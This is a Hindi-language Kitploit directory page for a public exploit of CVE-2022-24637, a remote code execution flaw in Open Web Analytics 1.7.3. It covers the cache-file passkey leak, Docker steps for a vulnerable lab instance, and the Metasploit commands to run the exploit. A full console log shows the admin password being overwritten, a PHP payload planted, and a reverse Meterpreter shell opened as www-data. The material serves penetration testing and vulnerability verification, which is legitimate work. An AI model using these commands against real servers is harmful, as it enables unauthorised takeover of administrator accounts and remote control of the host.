Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-24637 — Open Web Analytics 1.7.3 - दूरस्थ कोड निष्पादन | Kitploit
उपकरण/GitHubGitHub/pflegusch/cve-2022-24637
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubpflegusch/cve-2022-24637

CVE-2022-24637

Open Web Analytics 1.7.3 - दूरस्थ कोड निष्पादन

रिपॉजिटरी देखें
443 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

असुरक्षित एप्लिकेशन

Open Web Analytics (OWA) 1.7.4 से पहले के संस्करण में एक अप्रमाणित रिमोट हमलावर को संवेदनशील उपयोगकर्ता जानकारी प्राप्त करने की अनुमति है, जिसका उपयोग कैश हैश का लाभ उठाकर व्यवस्थापक विशेषाधिकार प्राप्त करने के लिए किया जा सकता है। ऐसा इसलिए होता है क्योंकि '<?php (इच्छित "<?php अनुक्रम के बजाय) से उत्पन्न फाइलें PHP इंटरप्रेटर द्वारा संभाली नहीं जाती हैं।

सत्यापन चरण

  1. डॉकर का उपयोग करके OWA का एक असुरक्षित इंस्टेंस प्रारंभ करें

    • https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml डाउनलोड करें
    • कंटेनर प्रारंभ करें: docker compose up -d
    • http://127.0.0.1:80/ खोलें
    • docker-compose.yml फ़ाइल से envs का उपयोग करके स्थापना चरणों का पालन करें
      • सार्वजनिक URL: http://127.0.0.1/
      • डेटाबेस होस्ट (docker inspect <db-container> और IPAddress प्राप्त करें, जैसे 172.22.0.2)
  • डेटाबेस पोर्ट: 3306
  • डेटाबेस नाम: owa
  • डेटाबेस उपयोगकर्ता: owa
  • डेटाबेस पासवर्ड: Demo12+#
  • जारी रखें
  • साइट डोमेन: http://127.0.0.1
  • व्यवस्थापक नाम: admin
  • ई-मेल: [email protected]
  • पासवर्ड: Demo12+#
  • जारी रखें
  • msfconsole प्रारंभ करें

  • use exploit/multi/http/open_web_analytics_rce

  • set RHOSTS 127.0.0.1

  • set RPORT 80

  • set SSL false

  • set LHOST 172.22.0.1 -> यह ब्रिज IP होना चाहिए जो docker compose up -d कमांड से बनाया गया था

  • check

  • run

  • विकल्प

    पासवर्ड

    लक्ष्य का शोषण करते समय, हमला किए गए उपयोगकर्ता का पासवर्ड इस पासवर्ड से ओवरराइट कर दिया जाएगा।

    उपयोगकर्ता नाम

    वह उपयोगकर्ता जिसे इस शोषण से लक्षित किया जाएगा।

    उन्नत विकल्प

    खोज सीमा

    यह शोषण एक कैश फाइल से temp_passkey मान प्राप्त करके काम करता है जो प्रत्येक उपयोगकर्ता के लिए लॉगिन करने का प्रयास करते समय बनाई जाती है। चूंकि /owa-data/caches/ निर्देशिका सार्वजनिक रूप से सुलभ है, हम इन कैश फाइलों को प्राप्त कर सकते हैं। कैश फाइलों का सटीक पथ user_id पर निर्भर करता है और इसके साथ गणना की जा सकती है। यह विकल्प परिभाषित करता है कि 0 से शुरू होने वाले कितने गणना किए गए पथों को उनमें temp_passkey मान वाली कैश फाइलों के लिए जांचा जाना चाहिए।

    परिदृश्य

    ऊपर दिए गए डॉकर तैनाती का उपयोग करके संस्करण 1.7.3

    root@kitploit:~
    msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
    RHOSTS => 127.0.0.1
    msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
    LHOST => 172.22.0.1
    msf6 exploit(multi/http/open_web_analytics_rce) > run
    
    [*] Started reverse TCP handler on 172.22.0.1:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
    [+] Connected to http://127.0.0.1/ successfully!
    [*] Attempting to find cache of 'admin' user
    [+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
    [+] Changed the password of 'admin' to 'pwned'
    [+] Logged in as admin user
    [*] Creating log file
    [+] Wrote payload to file
    [*] Sending stage (39927 bytes) to 172.22.0.3
    [+] Deleted QY0yivK4.php
    [*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
    [+] Triggering payload! Check your listener!
    
    meterpreter > pwd
    /var/www/html/owa-data/caches
    meterpreter > getuid
    Server username: www-data
    meterpreter >
    
    टूल डाउनलोड करें